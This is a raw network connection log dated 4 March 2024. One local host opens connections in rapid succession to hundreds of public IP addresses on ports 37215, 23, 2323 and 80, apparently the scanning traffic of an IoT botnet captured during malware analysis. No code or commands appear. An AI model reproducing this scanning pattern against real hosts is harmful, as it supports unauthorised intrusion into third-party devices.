Mar 4, 2024 15:05:34.151613951 CET	47833	37215	192.168.2.13	197.13.43.218
Mar 4, 2024 15:05:34.151622057 CET	47833	37215	192.168.2.13	197.28.91.248
Mar 4, 2024 15:05:34.151626110 CET	47833	37215	192.168.2.13	197.236.31.156
Mar 4, 2024 15:05:34.151635885 CET	47833	37215	192.168.2.13	197.239.25.167
Mar 4, 2024 15:05:34.151637077 CET	47833	37215	192.168.2.13	197.167.60.201
Mar 4, 2024 15:05:34.151649952 CET	47833	37215	192.168.2.13	197.105.165.27
Mar 4, 2024 15:05:34.151649952 CET	47833	37215	192.168.2.13	197.131.203.140
Mar 4, 2024 15:05:34.151665926 CET	47833	37215	192.168.2.13	197.140.152.19
Mar 4, 2024 15:05:34.151665926 CET	47833	37215	192.168.2.13	197.226.176.23
Mar 4, 2024 15:05:34.151683092 CET	47833	37215	192.168.2.13	197.148.174.242
Mar 4, 2024 15:05:34.151683092 CET	47833	37215	192.168.2.13	197.131.102.39
Mar 4, 2024 15:05:34.151693106 CET	47833	37215	192.168.2.13	197.122.42.169
Mar 4, 2024 15:05:34.151699066 CET	47833	37215	192.168.2.13	197.52.100.115
Mar 4, 2024 15:05:34.151701927 CET	47833	37215	192.168.2.13	197.141.227.47
Mar 4, 2024 15:05:34.151720047 CET	47833	37215	192.168.2.13	197.211.168.150
Mar 4, 2024 15:05:34.151720047 CET	47833	37215	192.168.2.13	197.5.233.210
Mar 4, 2024 15:05:34.151721001 CET	47833	37215	192.168.2.13	197.110.65.34
Mar 4, 2024 15:05:34.151721001 CET	47833	37215	192.168.2.13	197.217.243.208
Mar 4, 2024 15:05:34.151753902 CET	47833	37215	192.168.2.13	197.12.244.89
Mar 4, 2024 15:05:34.151761055 CET	47833	37215	192.168.2.13	197.77.224.47
Mar 4, 2024 15:05:34.151762962 CET	47833	37215	192.168.2.13	197.220.158.25
Mar 4, 2024 15:05:34.151766062 CET	47833	37215	192.168.2.13	197.228.246.186
Mar 4, 2024 15:05:34.151767015 CET	47833	37215	192.168.2.13	197.20.84.80
Mar 4, 2024 15:05:34.151767015 CET	47833	37215	192.168.2.13	197.115.236.240
Mar 4, 2024 15:05:34.151767015 CET	47833	37215	192.168.2.13	197.122.142.173
Mar 4, 2024 15:05:34.151776075 CET	47833	37215	192.168.2.13	197.244.215.90
Mar 4, 2024 15:05:34.151794910 CET	47833	37215	192.168.2.13	197.108.159.150
Mar 4, 2024 15:05:34.151801109 CET	47833	37215	192.168.2.13	197.174.168.26
Mar 4, 2024 15:05:34.151818991 CET	47833	37215	192.168.2.13	197.173.147.45
Mar 4, 2024 15:05:34.151818991 CET	47833	37215	192.168.2.13	197.59.43.215
Mar 4, 2024 15:05:34.151818991 CET	47833	37215	192.168.2.13	197.247.226.95
Mar 4, 2024 15:05:34.151827097 CET	47833	37215	192.168.2.13	197.149.140.130
Mar 4, 2024 15:05:34.151829958 CET	47833	37215	192.168.2.13	197.119.35.8
Mar 4, 2024 15:05:34.151834011 CET	47833	37215	192.168.2.13	197.201.163.99
Mar 4, 2024 15:05:34.151844978 CET	47833	37215	192.168.2.13	197.137.183.75
Mar 4, 2024 15:05:34.151845932 CET	47833	37215	192.168.2.13	197.156.206.168
Mar 4, 2024 15:05:34.151855946 CET	47833	37215	192.168.2.13	197.50.94.106
Mar 4, 2024 15:05:34.151870012 CET	47833	37215	192.168.2.13	197.31.15.188
Mar 4, 2024 15:05:34.151870966 CET	47833	37215	192.168.2.13	197.98.218.44
Mar 4, 2024 15:05:34.151871920 CET	47833	37215	192.168.2.13	197.195.68.36
Mar 4, 2024 15:05:34.151889086 CET	47833	37215	192.168.2.13	197.84.152.245
Mar 4, 2024 15:05:34.151889086 CET	47833	37215	192.168.2.13	197.57.203.211
Mar 4, 2024 15:05:34.151899099 CET	47833	37215	192.168.2.13	197.205.96.113
Mar 4, 2024 15:05:34.151921988 CET	47833	37215	192.168.2.13	197.180.227.159
Mar 4, 2024 15:05:34.151921988 CET	47833	37215	192.168.2.13	197.66.187.50
Mar 4, 2024 15:05:34.151935101 CET	47833	37215	192.168.2.13	197.191.242.110
Mar 4, 2024 15:05:34.151935101 CET	47833	37215	192.168.2.13	197.231.47.194
Mar 4, 2024 15:05:34.151967049 CET	47833	37215	192.168.2.13	197.113.15.25
Mar 4, 2024 15:05:34.151967049 CET	47833	37215	192.168.2.13	197.53.51.28
Mar 4, 2024 15:05:34.151968956 CET	47833	37215	192.168.2.13	197.227.76.131
Mar 4, 2024 15:05:34.151974916 CET	47833	37215	192.168.2.13	197.152.226.235
Mar 4, 2024 15:05:34.151977062 CET	47833	37215	192.168.2.13	197.83.110.151
Mar 4, 2024 15:05:34.151977062 CET	47833	37215	192.168.2.13	197.168.59.134
Mar 4, 2024 15:05:34.151993990 CET	47833	37215	192.168.2.13	197.146.153.240
Mar 4, 2024 15:05:34.151997089 CET	47833	37215	192.168.2.13	197.142.243.233
Mar 4, 2024 15:05:34.152004004 CET	47833	37215	192.168.2.13	197.44.246.172
Mar 4, 2024 15:05:34.152019024 CET	47833	37215	192.168.2.13	197.136.197.122
Mar 4, 2024 15:05:34.152020931 CET	47833	37215	192.168.2.13	197.200.65.20
Mar 4, 2024 15:05:34.152031898 CET	47833	37215	192.168.2.13	197.41.95.150
Mar 4, 2024 15:05:34.152038097 CET	47833	37215	192.168.2.13	197.188.105.136
Mar 4, 2024 15:05:34.152038097 CET	47833	37215	192.168.2.13	197.106.34.91
Mar 4, 2024 15:05:34.152049065 CET	47833	37215	192.168.2.13	197.195.182.24
Mar 4, 2024 15:05:34.152049065 CET	47833	37215	192.168.2.13	197.105.165.149
Mar 4, 2024 15:05:34.152056932 CET	47833	37215	192.168.2.13	197.124.253.47
Mar 4, 2024 15:05:34.152066946 CET	47833	37215	192.168.2.13	197.245.3.7
Mar 4, 2024 15:05:34.152070999 CET	47833	37215	192.168.2.13	197.164.129.132
Mar 4, 2024 15:05:34.152084112 CET	47833	37215	192.168.2.13	197.6.245.170
Mar 4, 2024 15:05:34.152089119 CET	47833	37215	192.168.2.13	197.174.107.58
Mar 4, 2024 15:05:34.152096033 CET	47833	37215	192.168.2.13	197.125.168.238
Mar 4, 2024 15:05:34.152096033 CET	47833	37215	192.168.2.13	197.16.136.95
Mar 4, 2024 15:05:34.152106047 CET	47833	37215	192.168.2.13	197.189.39.98
Mar 4, 2024 15:05:34.152120113 CET	47833	37215	192.168.2.13	197.186.153.111
Mar 4, 2024 15:05:34.152120113 CET	47833	37215	192.168.2.13	197.164.252.114
Mar 4, 2024 15:05:34.152123928 CET	47833	37215	192.168.2.13	197.97.83.115
Mar 4, 2024 15:05:34.152127028 CET	47833	37215	192.168.2.13	197.24.221.206
Mar 4, 2024 15:05:34.152132988 CET	47833	37215	192.168.2.13	197.67.204.92
Mar 4, 2024 15:05:34.152143002 CET	47833	37215	192.168.2.13	197.44.62.59
Mar 4, 2024 15:05:34.152144909 CET	47833	37215	192.168.2.13	197.164.152.68
Mar 4, 2024 15:05:34.152144909 CET	47833	37215	192.168.2.13	197.63.215.196
Mar 4, 2024 15:05:34.152156115 CET	47833	37215	192.168.2.13	197.20.20.211
Mar 4, 2024 15:05:34.152159929 CET	47833	37215	192.168.2.13	197.150.46.207
Mar 4, 2024 15:05:34.152173042 CET	47833	37215	192.168.2.13	197.82.67.15
Mar 4, 2024 15:05:34.152180910 CET	47833	37215	192.168.2.13	197.255.237.71
Mar 4, 2024 15:05:34.152192116 CET	47833	37215	192.168.2.13	197.172.204.19
Mar 4, 2024 15:05:34.152193069 CET	47833	37215	192.168.2.13	197.100.138.176
Mar 4, 2024 15:05:34.152193069 CET	47833	37215	192.168.2.13	197.183.4.21
Mar 4, 2024 15:05:34.152201891 CET	47833	37215	192.168.2.13	197.235.156.247
Mar 4, 2024 15:05:34.152204990 CET	47833	37215	192.168.2.13	197.125.123.109
Mar 4, 2024 15:05:34.152220011 CET	47833	37215	192.168.2.13	197.254.126.22
Mar 4, 2024 15:05:34.152221918 CET	47833	37215	192.168.2.13	197.191.100.221
Mar 4, 2024 15:05:34.152224064 CET	47833	37215	192.168.2.13	197.248.8.207
Mar 4, 2024 15:05:34.152236938 CET	47833	37215	192.168.2.13	197.136.17.10
Mar 4, 2024 15:05:34.152236938 CET	47833	37215	192.168.2.13	197.206.223.129
Mar 4, 2024 15:05:34.152237892 CET	47833	37215	192.168.2.13	197.48.147.2
Mar 4, 2024 15:05:34.152255058 CET	47833	37215	192.168.2.13	197.122.10.233
Mar 4, 2024 15:05:34.152261972 CET	47833	37215	192.168.2.13	197.56.237.209
Mar 4, 2024 15:05:34.152261972 CET	47833	37215	192.168.2.13	197.89.78.93
Mar 4, 2024 15:05:34.152271986 CET	47833	37215	192.168.2.13	197.239.210.130
Mar 4, 2024 15:05:34.152287006 CET	47833	37215	192.168.2.13	197.235.36.81
Mar 4, 2024 15:05:34.152297974 CET	47833	37215	192.168.2.13	197.64.214.247
Mar 4, 2024 15:05:34.152297974 CET	47833	37215	192.168.2.13	197.175.197.204
Mar 4, 2024 15:05:34.152297974 CET	47833	37215	192.168.2.13	197.186.113.227
Mar 4, 2024 15:05:34.152311087 CET	47833	37215	192.168.2.13	197.103.37.205
Mar 4, 2024 15:05:34.165323019 CET	50393	2323	192.168.2.13	193.110.38.180
Mar 4, 2024 15:05:34.165323019 CET	50393	23	192.168.2.13	23.17.39.89
Mar 4, 2024 15:05:34.165338993 CET	50393	23	192.168.2.13	89.44.227.122
Mar 4, 2024 15:05:34.165354013 CET	50393	23	192.168.2.13	59.169.237.80
Mar 4, 2024 15:05:34.165386915 CET	50393	23	192.168.2.13	179.28.76.110
Mar 4, 2024 15:05:34.165407896 CET	50393	23	192.168.2.13	113.3.151.127
Mar 4, 2024 15:05:34.165446997 CET	50393	23	192.168.2.13	136.24.167.252
Mar 4, 2024 15:05:34.165468931 CET	50393	23	192.168.2.13	111.192.95.203
Mar 4, 2024 15:05:34.165491104 CET	50393	23	192.168.2.13	190.188.143.84
Mar 4, 2024 15:05:34.165518045 CET	50393	2323	192.168.2.13	128.23.130.255
Mar 4, 2024 15:05:34.165518045 CET	50393	23	192.168.2.13	159.234.37.15
Mar 4, 2024 15:05:34.165527105 CET	50393	23	192.168.2.13	94.101.150.2
Mar 4, 2024 15:05:34.165551901 CET	50393	23	192.168.2.13	220.95.105.120
Mar 4, 2024 15:05:34.165580034 CET	50393	23	192.168.2.13	27.115.6.72
Mar 4, 2024 15:05:34.165599108 CET	50393	23	192.168.2.13	217.72.106.46
Mar 4, 2024 15:05:34.165643930 CET	50393	23	192.168.2.13	37.128.8.246
Mar 4, 2024 15:05:34.165647030 CET	50393	23	192.168.2.13	210.141.233.237
Mar 4, 2024 15:05:34.165658951 CET	50393	23	192.168.2.13	150.24.126.191
Mar 4, 2024 15:05:34.165687084 CET	50393	23	192.168.2.13	57.126.36.70
Mar 4, 2024 15:05:34.165700912 CET	50393	23	192.168.2.13	96.71.195.217
Mar 4, 2024 15:05:34.165719032 CET	50393	2323	192.168.2.13	129.189.128.252
Mar 4, 2024 15:05:34.165752888 CET	50393	23	192.168.2.13	140.111.173.152
Mar 4, 2024 15:05:34.165764093 CET	50393	23	192.168.2.13	93.184.144.68
Mar 4, 2024 15:05:34.165793896 CET	50393	23	192.168.2.13	160.32.23.90
Mar 4, 2024 15:05:34.165793896 CET	50393	23	192.168.2.13	158.189.161.13
Mar 4, 2024 15:05:34.165812969 CET	50393	23	192.168.2.13	128.59.121.107
Mar 4, 2024 15:05:34.165812969 CET	50393	23	192.168.2.13	77.31.43.234
Mar 4, 2024 15:05:34.165822029 CET	50393	23	192.168.2.13	9.48.96.177
Mar 4, 2024 15:05:34.165822029 CET	50393	23	192.168.2.13	194.10.216.1
Mar 4, 2024 15:05:34.165829897 CET	48089	80	192.168.2.13	95.201.226.248
Mar 4, 2024 15:05:34.165832043 CET	50393	23	192.168.2.13	58.115.164.53
Mar 4, 2024 15:05:34.165832043 CET	50393	2323	192.168.2.13	111.71.234.154
Mar 4, 2024 15:05:34.165843964 CET	50393	23	192.168.2.13	137.61.153.243
Mar 4, 2024 15:05:34.165843964 CET	48089	80	192.168.2.13	95.72.116.63
Mar 4, 2024 15:05:34.165846109 CET	50393	23	192.168.2.13	206.199.17.4
Mar 4, 2024 15:05:34.165848017 CET	48089	80	192.168.2.13	95.125.112.231
Mar 4, 2024 15:05:34.165848017 CET	50393	23	192.168.2.13	63.132.30.185
Mar 4, 2024 15:05:34.165852070 CET	50393	23	192.168.2.13	115.37.61.82
Mar 4, 2024 15:05:34.165848017 CET	50393	23	192.168.2.13	151.73.51.141
Mar 4, 2024 15:05:34.165852070 CET	50393	23	192.168.2.13	193.235.81.207
Mar 4, 2024 15:05:34.165862083 CET	48089	80	192.168.2.13	95.158.214.128
Mar 4, 2024 15:05:34.165864944 CET	50393	23	192.168.2.13	110.190.57.57
Mar 4, 2024 15:05:34.165867090 CET	50393	23	192.168.2.13	212.78.132.244
Mar 4, 2024 15:05:34.165867090 CET	48089	80	192.168.2.13	95.134.119.160
Mar 4, 2024 15:05:34.165874004 CET	48089	80	192.168.2.13	95.246.98.67
Mar 4, 2024 15:05:34.165874004 CET	48089	80	192.168.2.13	95.160.146.58
Mar 4, 2024 15:05:34.165875912 CET	48089	80	192.168.2.13	95.122.149.185
Mar 4, 2024 15:05:34.165891886 CET	48089	80	192.168.2.13	95.129.125.206
Mar 4, 2024 15:05:34.165893078 CET	48089	80	192.168.2.13	95.34.210.144
Mar 4, 2024 15:05:34.165904045 CET	48089	80	192.168.2.13	95.206.151.187
Mar 4, 2024 15:05:34.165904045 CET	50393	23	192.168.2.13	209.6.104.239
Mar 4, 2024 15:05:34.165904045 CET	50393	2323	192.168.2.13	125.204.14.188
Mar 4, 2024 15:05:34.165910006 CET	50393	23	192.168.2.13	62.225.231.135
Mar 4, 2024 15:05:34.165915966 CET	48089	80	192.168.2.13	95.132.65.4
Mar 4, 2024 15:05:34.165921926 CET	50393	23	192.168.2.13	169.26.32.115
Mar 4, 2024 15:05:34.165925980 CET	50393	23	192.168.2.13	114.182.201.86
Mar 4, 2024 15:05:34.165927887 CET	50393	23	192.168.2.13	75.215.153.166
Mar 4, 2024 15:05:34.165931940 CET	48089	80	192.168.2.13	95.76.33.20
Mar 4, 2024 15:05:34.165932894 CET	48089	80	192.168.2.13	95.205.12.77
Mar 4, 2024 15:05:34.165934086 CET	50393	23	192.168.2.13	99.24.7.59
Mar 4, 2024 15:05:34.165934086 CET	50393	23	192.168.2.13	71.229.233.211
Mar 4, 2024 15:05:34.165932894 CET	48089	80	192.168.2.13	95.107.219.246
Mar 4, 2024 15:05:34.165934086 CET	48089	80	192.168.2.13	95.122.48.133
Mar 4, 2024 15:05:34.165934086 CET	50393	23	192.168.2.13	123.150.176.131
Mar 4, 2024 15:05:34.165939093 CET	50393	2323	192.168.2.13	220.255.87.224
Mar 4, 2024 15:05:34.165934086 CET	50393	23	192.168.2.13	210.91.110.124
Mar 4, 2024 15:05:34.165934086 CET	50393	23	192.168.2.13	76.130.109.73
Mar 4, 2024 15:05:34.165934086 CET	50393	23	192.168.2.13	23.130.123.127
Mar 4, 2024 15:05:34.165951967 CET	48089	80	192.168.2.13	95.181.78.136
Mar 4, 2024 15:05:34.165955067 CET	48089	80	192.168.2.13	95.110.137.168
Mar 4, 2024 15:05:34.165957928 CET	48089	80	192.168.2.13	95.20.215.100
Mar 4, 2024 15:05:34.165961027 CET	50393	23	192.168.2.13	151.179.4.114
Mar 4, 2024 15:05:34.165963888 CET	50393	23	192.168.2.13	102.213.242.241
Mar 4, 2024 15:05:34.165963888 CET	50393	23	192.168.2.13	68.14.15.224
Mar 4, 2024 15:05:34.165970087 CET	50393	23	192.168.2.13	34.112.134.244
Mar 4, 2024 15:05:34.165970087 CET	48089	80	192.168.2.13	95.109.201.117
Mar 4, 2024 15:05:34.165977001 CET	50393	23	192.168.2.13	128.123.8.79
Mar 4, 2024 15:05:34.165980101 CET	48089	80	192.168.2.13	95.209.201.78
Mar 4, 2024 15:05:34.165985107 CET	50393	23	192.168.2.13	165.116.11.213
Mar 4, 2024 15:05:34.165985107 CET	50393	23	192.168.2.13	18.38.239.133
Mar 4, 2024 15:05:34.165985107 CET	50393	23	192.168.2.13	109.230.94.86
Mar 4, 2024 15:05:34.165991068 CET	48089	80	192.168.2.13	95.91.84.248
Mar 4, 2024 15:05:34.165991068 CET	50393	23	192.168.2.13	199.93.234.76
Mar 4, 2024 15:05:34.165992022 CET	48089	80	192.168.2.13	95.50.203.15
Mar 4, 2024 15:05:34.165991068 CET	50393	23	192.168.2.13	173.234.118.248
Mar 4, 2024 15:05:34.166004896 CET	50393	23	192.168.2.13	32.239.3.136
Mar 4, 2024 15:05:34.166004896 CET	50393	2323	192.168.2.13	138.189.166.181
Mar 4, 2024 15:05:34.166004896 CET	50393	23	192.168.2.13	139.9.235.11
Mar 4, 2024 15:05:34.166008949 CET	48089	80	192.168.2.13	95.177.166.204
Mar 4, 2024 15:05:34.166009903 CET	50393	23	192.168.2.13	23.211.190.10
Mar 4, 2024 15:05:34.166007996 CET	48089	80	192.168.2.13	95.116.70.252
Mar 4, 2024 15:05:34.166007996 CET	48089	80	192.168.2.13	95.34.124.55
Mar 4, 2024 15:05:34.166014910 CET	50393	23	192.168.2.13	126.121.69.100
Mar 4, 2024 15:05:34.166014910 CET	50393	23	192.168.2.13	83.133.133.72
Mar 4, 2024 15:05:34.166008949 CET	50393	23	192.168.2.13	211.3.176.177
Mar 4, 2024 15:05:34.166008949 CET	50393	23	192.168.2.13	160.55.57.205
Mar 4, 2024 15:05:34.166023016 CET	50393	23	192.168.2.13	177.175.84.28
Mar 4, 2024 15:05:34.166023016 CET	48089	80	192.168.2.13	95.16.223.68
Mar 4, 2024 15:05:34.166023016 CET	50393	23	192.168.2.13	92.96.17.138
Mar 4, 2024 15:05:34.166023016 CET	50393	23	192.168.2.13	212.191.27.105
Mar 4, 2024 15:05:34.166024923 CET	50393	23	192.168.2.13	80.235.232.126
Mar 4, 2024 15:05:34.166023970 CET	50393	23	192.168.2.13	164.171.19.12
Mar 4, 2024 15:05:34.166023970 CET	50393	23	192.168.2.13	73.253.240.78
Mar 4, 2024 15:05:34.166030884 CET	50393	23	192.168.2.13	152.109.20.64
Mar 4, 2024 15:05:34.166030884 CET	50393	23	192.168.2.13	175.192.182.36
Mar 4, 2024 15:05:34.166030884 CET	50393	2323	192.168.2.13	27.59.16.103
Mar 4, 2024 15:05:34.166030884 CET	50393	23	192.168.2.13	119.147.150.155
Mar 4, 2024 15:05:34.166032076 CET	50393	23	192.168.2.13	165.235.193.209
Mar 4, 2024 15:05:34.166038036 CET	50393	23	192.168.2.13	163.18.83.252
Mar 4, 2024 15:05:34.166054964 CET	50393	23	192.168.2.13	162.19.167.196
Mar 4, 2024 15:05:34.166059017 CET	50393	23	192.168.2.13	171.86.247.219
Mar 4, 2024 15:05:34.166069031 CET	50393	23	192.168.2.13	128.153.190.197
Mar 4, 2024 15:05:34.166069031 CET	50393	23	192.168.2.13	106.164.109.88
Mar 4, 2024 15:05:34.166071892 CET	50393	2323	192.168.2.13	97.66.1.80
Mar 4, 2024 15:05:34.166073084 CET	50393	23	192.168.2.13	117.129.38.155
Mar 4, 2024 15:05:34.166073084 CET	48089	80	192.168.2.13	95.238.33.101
Mar 4, 2024 15:05:34.166076899 CET	50393	2323	192.168.2.13	115.92.26.153
Mar 4, 2024 15:05:34.166078091 CET	50393	23	192.168.2.13	155.194.83.21
Mar 4, 2024 15:05:34.166076899 CET	50393	23	192.168.2.13	45.43.70.183
Mar 4, 2024 15:05:34.166078091 CET	50393	23	192.168.2.13	13.63.164.80
Mar 4, 2024 15:05:34.166090012 CET	48089	80	192.168.2.13	95.250.166.36
Mar 4, 2024 15:05:34.166090012 CET	50393	23	192.168.2.13	76.200.88.182
Mar 4, 2024 15:05:34.166094065 CET	50393	23	192.168.2.13	63.162.54.22
Mar 4, 2024 15:05:34.166094065 CET	50393	23	192.168.2.13	199.95.242.193
Mar 4, 2024 15:05:34.166094065 CET	48089	80	192.168.2.13	95.121.242.241
Mar 4, 2024 15:05:34.166096926 CET	50393	23	192.168.2.13	58.225.31.80
Mar 4, 2024 15:05:34.166098118 CET	50393	23	192.168.2.13	117.35.249.74
Mar 4, 2024 15:05:34.166099072 CET	50393	23	192.168.2.13	60.138.157.94
Mar 4, 2024 15:05:34.166098118 CET	50393	23	192.168.2.13	136.199.139.208
Mar 4, 2024 15:05:34.166099072 CET	48089	80	192.168.2.13	95.78.193.91
Mar 4, 2024 15:05:34.166106939 CET	50393	23	192.168.2.13	207.198.0.23
Mar 4, 2024 15:05:34.166106939 CET	48089	80	192.168.2.13	95.157.194.170
Mar 4, 2024 15:05:34.166115046 CET	50393	2323	192.168.2.13	137.237.34.120
Mar 4, 2024 15:05:34.166115999 CET	50393	23	192.168.2.13	88.74.47.122
Mar 4, 2024 15:05:34.166115046 CET	48089	80	192.168.2.13	95.181.251.245
Mar 4, 2024 15:05:34.166121006 CET	50393	23	192.168.2.13	90.227.21.91
Mar 4, 2024 15:05:34.166130066 CET	50393	23	192.168.2.13	20.218.9.212
Mar 4, 2024 15:05:34.166131973 CET	48089	80	192.168.2.13	95.50.141.28
Mar 4, 2024 15:05:34.166131973 CET	48089	80	192.168.2.13	95.202.135.207
Mar 4, 2024 15:05:34.166131973 CET	50393	23	192.168.2.13	222.69.126.59
Mar 4, 2024 15:05:34.166131973 CET	48089	80	192.168.2.13	95.199.228.40
Mar 4, 2024 15:05:34.166134119 CET	48089	80	192.168.2.13	95.88.143.14
Mar 4, 2024 15:05:34.166131973 CET	50393	23	192.168.2.13	148.99.22.207
Mar 4, 2024 15:05:34.166152000 CET	50393	2323	192.168.2.13	176.177.71.202
Mar 4, 2024 15:05:34.166157007 CET	50393	23	192.168.2.13	137.205.3.226
Mar 4, 2024 15:05:34.166157007 CET	50393	23	192.168.2.13	194.240.22.99
Mar 4, 2024 15:05:34.166157007 CET	50393	23	192.168.2.13	94.67.177.228
Mar 4, 2024 15:05:34.166161060 CET	50393	23	192.168.2.13	115.178.88.143
Mar 4, 2024 15:05:34.166162014 CET	50393	23	192.168.2.13	105.97.5.87
Mar 4, 2024 15:05:34.166162968 CET	50393	23	192.168.2.13	106.161.196.140
Mar 4, 2024 15:05:34.166157961 CET	50393	23	192.168.2.13	186.226.120.169
Mar 4, 2024 15:05:34.166166067 CET	50393	23	192.168.2.13	31.135.244.23
Mar 4, 2024 15:05:34.166157961 CET	48089	80	192.168.2.13	95.104.102.133
Mar 4, 2024 15:05:34.166157961 CET	50393	23	192.168.2.13	91.220.129.15
Mar 4, 2024 15:05:34.166177034 CET	48089	80	192.168.2.13	95.44.170.55
Mar 4, 2024 15:05:34.166177988 CET	50393	23	192.168.2.13	38.220.191.214
Mar 4, 2024 15:05:34.166177034 CET	50393	23	192.168.2.13	79.10.193.69
Mar 4, 2024 15:05:34.166183949 CET	50393	2323	192.168.2.13	13.39.132.49
Mar 4, 2024 15:05:34.166184902 CET	48089	80	192.168.2.13	95.218.182.143
Mar 4, 2024 15:05:34.166184902 CET	50393	23	192.168.2.13	48.219.143.11
Mar 4, 2024 15:05:34.166184902 CET	50393	23	192.168.2.13	70.193.186.111
Mar 4, 2024 15:05:34.166189909 CET	50393	23	192.168.2.13	179.13.52.38
Mar 4, 2024 15:05:34.166207075 CET	50393	23	192.168.2.13	123.62.214.23
Mar 4, 2024 15:05:34.166208029 CET	50393	23	192.168.2.13	86.233.143.220
Mar 4, 2024 15:05:34.166208029 CET	50393	23	192.168.2.13	191.136.218.79
Mar 4, 2024 15:05:34.166208982 CET	48089	80	192.168.2.13	95.237.207.69
Mar 4, 2024 15:05:34.166218042 CET	50393	23	192.168.2.13	45.240.212.247
Mar 4, 2024 15:05:34.166219950 CET	50393	23	192.168.2.13	80.7.110.143
Mar 4, 2024 15:05:34.166219950 CET	48089	80	192.168.2.13	95.147.205.136
Mar 4, 2024 15:05:34.166219950 CET	50393	23	192.168.2.13	94.185.232.200
Mar 4, 2024 15:05:34.166223049 CET	50393	23	192.168.2.13	184.140.100.206
Mar 4, 2024 15:05:34.166219950 CET	50393	23	192.168.2.13	103.246.8.23
Mar 4, 2024 15:05:34.166234016 CET	50393	2323	192.168.2.13	183.243.99.246
Mar 4, 2024 15:05:34.166234016 CET	50393	23	192.168.2.13	95.161.218.5
Mar 4, 2024 15:05:34.166239023 CET	48089	80	192.168.2.13	95.98.82.67
Mar 4, 2024 15:05:34.166239977 CET	50393	23	192.168.2.13	98.211.106.81
Mar 4, 2024 15:05:34.166241884 CET	48089	80	192.168.2.13	95.162.87.134
Mar 4, 2024 15:05:34.166241884 CET	50393	23	192.168.2.13	24.26.227.167
Mar 4, 2024 15:05:34.166253090 CET	48089	80	192.168.2.13	95.23.71.130
Mar 4, 2024 15:05:34.166253090 CET	50393	23	192.168.2.13	174.140.120.235
Mar 4, 2024 15:05:34.166259050 CET	50393	23	192.168.2.13	111.233.147.63
Mar 4, 2024 15:05:34.166260958 CET	50393	23	192.168.2.13	209.218.170.137
Mar 4, 2024 15:05:34.166260958 CET	50393	23	192.168.2.13	86.97.184.128
Mar 4, 2024 15:05:34.166277885 CET	48089	80	192.168.2.13	95.184.178.240
Mar 4, 2024 15:05:34.166282892 CET	48089	80	192.168.2.13	95.246.175.37
Mar 4, 2024 15:05:34.166282892 CET	50393	23	192.168.2.13	168.254.54.41
Mar 4, 2024 15:05:34.166285992 CET	48089	80	192.168.2.13	95.241.58.200
Mar 4, 2024 15:05:34.166289091 CET	48089	80	192.168.2.13	95.163.38.185
Mar 4, 2024 15:05:34.166286945 CET	50393	23	192.168.2.13	181.233.204.181
Mar 4, 2024 15:05:34.166290998 CET	50393	23	192.168.2.13	98.130.91.65
Mar 4, 2024 15:05:34.166289091 CET	50393	23	192.168.2.13	167.254.47.134
Mar 4, 2024 15:05:34.166290998 CET	50393	23	192.168.2.13	125.79.52.146
Mar 4, 2024 15:05:34.166292906 CET	50393	23	192.168.2.13	140.136.245.171
Mar 4, 2024 15:05:34.166286945 CET	48089	80	192.168.2.13	95.156.36.241
Mar 4, 2024 15:05:34.166292906 CET	48089	80	192.168.2.13	95.114.238.209
Mar 4, 2024 15:05:34.166286945 CET	50393	23	192.168.2.13	36.33.181.54
Mar 4, 2024 15:05:34.166296959 CET	50393	23	192.168.2.13	166.39.21.244
Mar 4, 2024 15:05:34.166296959 CET	48089	80	192.168.2.13	95.229.209.10
Mar 4, 2024 15:05:34.166286945 CET	50393	2323	192.168.2.13	24.180.103.89
Mar 4, 2024 15:05:34.166299105 CET	50393	23	192.168.2.13	81.147.65.179
Mar 4, 2024 15:05:34.166286945 CET	50393	23	192.168.2.13	20.154.145.20
Mar 4, 2024 15:05:34.166299105 CET	50393	23	192.168.2.13	38.9.137.203
Mar 4, 2024 15:05:34.166286945 CET	48089	80	192.168.2.13	95.133.225.109
Mar 4, 2024 15:05:34.166311026 CET	48089	80	192.168.2.13	95.18.5.2
Mar 4, 2024 15:05:34.166317940 CET	50393	2323	192.168.2.13	176.21.91.109
Mar 4, 2024 15:05:34.166317940 CET	50393	23	192.168.2.13	130.248.27.151
Mar 4, 2024 15:05:34.166317940 CET	48089	80	192.168.2.13	95.100.171.234
Mar 4, 2024 15:05:34.166317940 CET	50393	23	192.168.2.13	219.173.183.11
Mar 4, 2024 15:05:34.166333914 CET	50393	23	192.168.2.13	59.255.56.134
Mar 4, 2024 15:05:34.166333914 CET	50393	23	192.168.2.13	88.61.82.183
Mar 4, 2024 15:05:34.166354895 CET	50393	23	192.168.2.13	57.77.145.133
Mar 4, 2024 15:05:34.166354895 CET	50393	23	192.168.2.13	128.139.232.234
Mar 4, 2024 15:05:34.166356087 CET	48089	80	192.168.2.13	95.251.228.2
Mar 4, 2024 15:05:34.166354895 CET	50393	23	192.168.2.13	182.235.157.64
Mar 4, 2024 15:05:34.166356087 CET	50393	23	192.168.2.13	34.236.197.8
Mar 4, 2024 15:05:34.166357040 CET	48089	80	192.168.2.13	95.54.118.184
Mar 4, 2024 15:05:34.166357040 CET	48089	80	192.168.2.13	95.17.231.253
Mar 4, 2024 15:05:34.166357040 CET	50393	2323	192.168.2.13	122.142.214.244
Mar 4, 2024 15:05:34.166372061 CET	48089	80	192.168.2.13	95.211.15.75
Mar 4, 2024 15:05:34.166372061 CET	50393	23	192.168.2.13	172.108.226.239
Mar 4, 2024 15:05:34.166372061 CET	50393	23	192.168.2.13	164.48.36.31
Mar 4, 2024 15:05:34.166377068 CET	50393	23	192.168.2.13	54.10.123.220
Mar 4, 2024 15:05:34.166389942 CET	50393	23	192.168.2.13	107.163.141.114
Mar 4, 2024 15:05:34.166395903 CET	50393	23	192.168.2.13	135.14.48.177
Mar 4, 2024 15:05:34.166400909 CET	50393	23	192.168.2.13	67.55.85.82
Mar 4, 2024 15:05:34.166400909 CET	50393	2323	192.168.2.13	212.172.222.189
Mar 4, 2024 15:05:34.166409016 CET	50393	23	192.168.2.13	13.57.212.59
Mar 4, 2024 15:05:34.166412115 CET	50393	23	192.168.2.13	75.51.61.252
Mar 4, 2024 15:05:34.166414022 CET	48089	80	192.168.2.13	95.74.249.118
Mar 4, 2024 15:05:34.166414022 CET	50393	23	192.168.2.13	197.143.63.124
Mar 4, 2024 15:05:34.166414022 CET	48089	80	192.168.2.13	95.165.150.190
Mar 4, 2024 15:05:34.166421890 CET	50393	23	192.168.2.13	191.216.65.255
Mar 4, 2024 15:05:34.166421890 CET	48089	80	192.168.2.13	95.235.185.205
Mar 4, 2024 15:05:34.166424036 CET	48089	80	192.168.2.13	95.75.190.146
Mar 4, 2024 15:05:34.166424036 CET	48089	80	192.168.2.13	95.183.61.87
